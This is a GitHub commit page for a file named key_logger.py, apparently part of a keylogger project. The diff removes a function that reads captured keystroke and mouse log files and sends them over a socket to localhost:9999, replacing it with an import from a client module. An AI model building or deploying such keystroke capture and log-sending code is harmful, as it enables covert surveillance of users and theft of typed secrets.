Skip to content

Commit

Permalink
Update key_logger.py
Browse files Browse the repository at this point in the history
  • Loading branch information
adisakshya authored Mar 9, 2019
1 parent c2940ab commit d4b5dbe
Showing 1 changed file with 0 additions and 15 deletions.
15 changes: 0 additions & 15 deletions bin/key_logger.py
Original file line number Diff line number Diff line change
@@ -1,21 +1,6 @@
from pynput import keyboard
import logging
from client import send_logs
import socket
import sys

files = ['key_log.txt', 'mouse_log.txt']

def send_logs():
s = socket.socket()
s.connect(("localhost",9999))

for filename in files:
f = open (filename, "rb")
l = f.read(1024)
s.send(l)

s.close()

log_dir = ""

Expand Down

0 comments on commit d4b5dbe

Please sign in to comment.